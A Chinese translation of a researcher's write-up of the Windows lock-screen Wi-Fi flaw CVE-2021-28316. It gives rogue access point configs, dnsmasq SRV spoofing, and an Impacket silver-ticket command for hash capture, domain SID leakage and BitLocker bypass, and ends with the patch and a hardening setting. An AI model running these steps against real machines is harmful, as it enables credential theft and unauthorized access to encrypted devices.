Windows中CVE-2021-28316漏洞分析
译文声明 本文是翻译文章,文章原作者 Matthew Johnson. 原文地址:https://shenaniganslabs.io/2021/04/13/Airstrike.html 译文仅供参考,具体内容表达以及含义以原文为准
默认情况下,Windows工作站允许从锁定屏幕选择想要访问的网络。
攻击者可以对具有WiFi功能的处于锁定状态设备(例如,便携式计算机或工作站)使用此漏铜进行攻击,以强制笔记本电脑对恶意的访问进行身份验证,并得到同局域网下计算机帐户的MSCHAPv2质询响应哈希值。
然后,可以在不到24小时的时间内将此质询响应哈希值提交给crack.sh以恢复计算机帐户的NTLM哈希值。
一旦恢复,此NTLM哈希与域SID结合可用于伪造Kerberos白银票据,以模拟特权用户并危及计算机。
由于可以从锁定的设备执行攻击,因此也可以利用它绕过BitLocker完整磁盘加密并获得对设备文件系统的访问权限。
此外,由于可以为特权用户伪造白银票据,因此也可以利用此攻击将特权提升到设备上本地管理员的特权。
受影响版本
接入局域网的Windows10计算机
Windows的早期版本也可能会受到影响,但尚未经过测试。
背景
熟悉企业无线网络的人可能会熟悉受保护的可扩展身份验证协议(PEAP)。
PEAP是隧道式身份验证协议,这意味着首先与RADIUS服务器建立SSL隧道(称为阶段1),以保护在身份验证(阶段2)期间发送的凭据信息。
Windows环境中使用的最常见的内部身份验证方法之一是MSCHAPv2。该MSCHAPv2的协议已经存在了很长一段时间,并有一些严重缺陷的漏洞。如Moxie Marlinspike和David Hulton在我所有的时间最喜欢的DEF CON会谈一个证明这个。
该研究的最重要是crack.sh服务,该服务保证为任何给定的MSCHAPv2质询响应哈希(无论密码复杂度如何)都可以恢复NTLM哈希。
在Windows环境中,当域用户使用带有MSCHAPv2的PEAP对无线访问点进行身份验证时,所产生的质询响应哈希是从域用户密码的NTLM哈希得出的。
除了域用户身份验证外,Windows还提供了使用计算机/计算机身份验证的选项。这用于允许设备在域用户登录之前向无线网络进行身份验证。
需要使用计算机身份验证来解决“鸡和鸡蛋”的情况,这种情况是设备在能够访问Active Directory并对域用户进行身份验证之前首先需要对网络进行身份验证时出现的。为了给用户提供无缝的体验,此验证在用户登录设备之前从锁定屏幕就已经开始进行。
计算机身份验证可以使用客户端证书或MSCHAPv2作为其内部身份验证机制。对于客户端证书,将使用为域计算机帐户颁发的证书进行身份验证。但是,如果将计算机身份验证与PEAP和MSCHAPv2一起使用会发生什么?在这种情况下,将使用域计算机帐户的NTLM哈希就可以进行身份验证。
计算机帐户密码很复杂,很长并且是随机生成的。我们永远无法恢复该帐户的纯文本密码,为什么这很重要?好吧,我们无法恢复纯文本密码,但多亏了crack.sh,我们才能恢复NTLM哈希值。
计算机帐户NTLM散列在Windows域环境中具有特殊意义,因为它们与Kerberos白名单有关。使用计算机帐户的NTLM哈希对由计算机托管的服务(例如CIFS服务)的Kerberos身份票据证进行签名和加密。
为了伪造认证,我们需要以下信息:
- 计算账户NTLM的哈希值
- 我们想获得的服务的名称
- 域的SID值
一旦从crack.sh中恢复了计算机帐户NTLM哈希,我们所需要的只是域SID,我们可以伪造自己的身份票据。域SID不是秘密信息,可以由任何常规域用户检索。
从域用户到本地管理员的特权升级
为了对此进行武器化,我们首先需要创建一个恶意访问点,该访问点支持将PEAP和MSCHAPV2设置为内部身份验证方法。有很多工具可以完成此任务,这里我们使用hostapd-mana。
注意 为了允许Windows 10的更高版本连接到访问点,需要使用受信任的CA对RADIUS服务器证书进行签名。否则,将在Windows 10请求方上导致“连接失败”错误。
在这里,我们使用LetsEncrypt通过以下命令实现此目的(请注意,证书上的服务器名称无关紧要-只需由受信任的权威机构对其进行签名即可)。
# Generate LetsEncrypt certificates
sudo snap install --classic certbot
sudo certbot certonly --standalone -d radius.breakfix.co
生成证书后,我们使用hostapd配置对其重命名,并生成DH参数。
# Rename certificates to work with hostapd
cp /etc/letsencrypt/live/radius.breakfix.co/fullchain.pem ca.pem
cp /etc/letsencrypt/live/radius.breakfix.co/privkey.pem server.key
cp /etc/letsencrypt/live/radius.breakfix.co/cert.pem server.pem
# Generate DH params
openssl dhparam 2048 > dhparam.pem
然后我们创建一个“ hostapd.conf”文件,其内容如下
interface=$WIRELESS_INTERFACE_HERE
ssid=Airstrike
hw_mode=g
channel=6
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=ca.pem
server_cert=server.pem
private_key=server.key
private_key_passwd=
dh_file=dhparam.pem
mana_wpe=1
和“ hostapd.eap_user”文件,其内容如下
*PEAP,TTLS,TLS,MD5,GTC
"t" GTC,TTLS-MSCHAPV2,MSCHAPV2,MD5,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP "1234test" [2]
完成此操作后,可以使用command运行hostpad-mana ./hostapd hostpad.conf
。此时,攻击者可以迫使便携式计算机从锁定屏幕连接到访问点(忽略证书错误),从而捕获计算机帐户的MSCHAPV2质询响应哈希,如下所示。
由于MSCHAPv2要求访问点也知道密码,因此无线身份验证将在此阶段失败,但是可以获得质询响应哈希
恢复NTLM哈希
然后,可以使用工具chapcrack将捕获的MSCHAPv2挑战响应哈希值转换为Cloud Crack格式,并提交给crack.sh进行破解。
在我们的实验室,我们使用的工具,secretsdump.py
从Impacket来验证前4个字节K3的输出由chapcrack匹配最后4个字节的NTLM哈希的计算机帐户。
作为经过身份验证的域用户,我们可以通过许多不同的方式来获取域SID。最简单的方法就是简单地运行whoami /all
现在,我们拥有在设备上伪造CIFS服务的白银票据所需的所有信息。由于我们可以指定服务凭单中包含的用户和组SID,因此我们可以使用它以管理用户身份访问CIFS服务。
我们可以使用该工具做到这一点ticketer.py
从Impacket下面的命令和。
ticketer.py -nthash c86afa9bd3c7afa9ff31da6af182ddbe -domain-sid S-1-5-21-553012155-822088108-1873906631 -domain INITECH.local -spn cifs/DESKTOP-J5KI5KA.initech.local administrator
export KRB5CCNAME=administrator.ccache
使用smbclient,我们现在可以访问笔记本电脑的整个文件系统。
使用工具,如smbexec.py
从Impacket提供一种简单的方法来SYSTEM用户的安全上下文下在主机上获得命令执行。
后来发现可以从锁定屏幕上获取质询响应哈希之后,这让我们想到一些更有趣的攻击方案,例如,针对启用了全盘加密(FDE)的锁定笔记本电脑。
但是,为了利用这一点,缺少了一个重要的难题,即域SID。我们需要一种无需先登录到计算机即可恢复它的方法。
拼图的缺失部分
发现这种攻击几个月后,一位客户联系我们,让我们对他一台SOE笔记本电脑进行了测试。他们特别担心的是,如果攻击者能够获取到在受到BitLocker全盘加密保护的锁定笔记本电脑的数据,将会造成多大的损失。
提出此特定情况之后,我本人和我的同事Danyal Drew(@DanyalDrew)重新考虑了这个想法,并着手看看是否可以找到一种方法来泄漏域SID而无需登录到机器中。
当加入域的计算机首次访问网络时,将执行许多CLDAP搜索,以识别域控制器上可用的服务。这些消息称为LDAP ping。
这听起来很有希望,因为在此发现过程中使用的CLDAP查询包含以下信息:
- Dns域
- Host
- DnsHost名字
- 用户名
- 域Sid
- 域向导
我们的初始测试涉及运行Wireshark捕获并观察无线客户端发出的LDAP DNS请求。
将这些srv-host
DNS条目添加到dnsmasq配置中并重新连接客户端后,我们找到了所需的内容。
这样,我们现在拥有了试着拿下锁定笔记本电脑所需的一切准备工作。
在启用了全盘加密的情况下访问锁定的计算机
相同的Rogue AP配置可用于从目标设备的锁定屏幕捕获质询响应哈希并提交给crack.sh。
要泄漏域SID,我们需要将便携式计算机加入攻击者控制的网络,在该网络中,我们将使用攻击者的IP地址响应向便携式计算机发出DNS SRV请求。
这将使我们能够捕获包含域SID和域名的“ LDAP ping”数据包。再次,我们将运行恶意访问点,并强制客户端从锁定屏幕进行连接。但是,这次,我们将使用下面的hostapd.conf
和hostapd-psk
文件来创建WPA2-PSK网络,而不是将访问点配置为支持PEAP身份验证。
interface=$WIRELESS_INTERFACE_HERE
ssid=Airstrike_WPA
channel=1
auth_algs=1
wpa=3
wpa_psk_file=./hostapd-psk
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
并创建一个文件hostapd-psk
来配置网络密码。 00:00:00:00:00:00 airstrike
因为我们希望笔记本电脑连接到我们的网络,所以我们还需要使用dnsmasq
下面的dnsmasq.conf
文件来运行DHCP和DNS服务器。
interface=$WIRELESS_INTERFACE_HERE
dhcp-range=10.0.0.10,10.0.0.100,8h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
现在,我们可以为无线适配器分配IP地址并启动DNS / DHCP服务器。
ifconfig $WIRELESS_INTERFACE 10.0.0.1/24 up
dnsmasq -d -C dnsmasq.conf
为了从笔记本电脑捕获流量包,我们还将在无线接口上启用tcpdump。
tcpdump -i $WIRELESS_INTERFACE -s 65535 -w $OUT_FILE.pcap
一旦运行,我们就可以从锁定屏幕连接到无线网络,并且应该看到笔记本电脑从我们的DHCP服务器接收了IP。
便携式计算机首次连接时,我们将看到许多未响应的SRV DNS请求。我们将记录所有这些内容,并修改dnsmasq.conf
文件以使用无线接入点的IP地址响应它们。
interface=$WIRELESS_INTERFACE_HERE
dhcp-range=10.0.0.10,10.0.0.100,8h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
srv-host=_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.INITECH.local,10.0.0.1,389
srv-host=_ldap._tcp.dc._msdcs.INITECH.local,10.0.0.1,389
srv-host=_ldap._tcp.a3fcc77a-710d-4956-af07-bfa9187b91e9.domains._msdcs.INITECH.local,10.0.0.1,389
srv-host=_ldap._tcp.INITECH.local,10.0.0.1,389
现在,我们可以从接入点断开并重新连接笔记本电脑,并检查新pcap文件的内容。如果我们为CLDAP
协议过滤数据包,我们可以看到笔记本电脑正在尝试LDAP ping
对我们的攻击者IP进行攻击。LDAP ping消息的内容包含Active Directory域名,便携式计算机的主机名和域SID。
我们可以再次使用该工具ticketer.py
为CIFS服务创建一张银票,并进行身份验证使用smbclient
不受限制地访问设备的文件系统。
修复
此问题已披露给Microsoft安全响应中心,并且已在2021年4月的最新安全更新中得到解决。
作为进一步的加强措施,可以通过以下组策略设置禁用从锁定屏幕访问网络选择UI的功能。
Computer Configuration | Administrative Templates | System | Logon --> Do not display network selection UI
也可以通过启用DontDisplayNetworkSelectionUI
标志通过注册表配置此设置。
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System]
"DontDisplayNetworkSelectionUI"=dword:00000001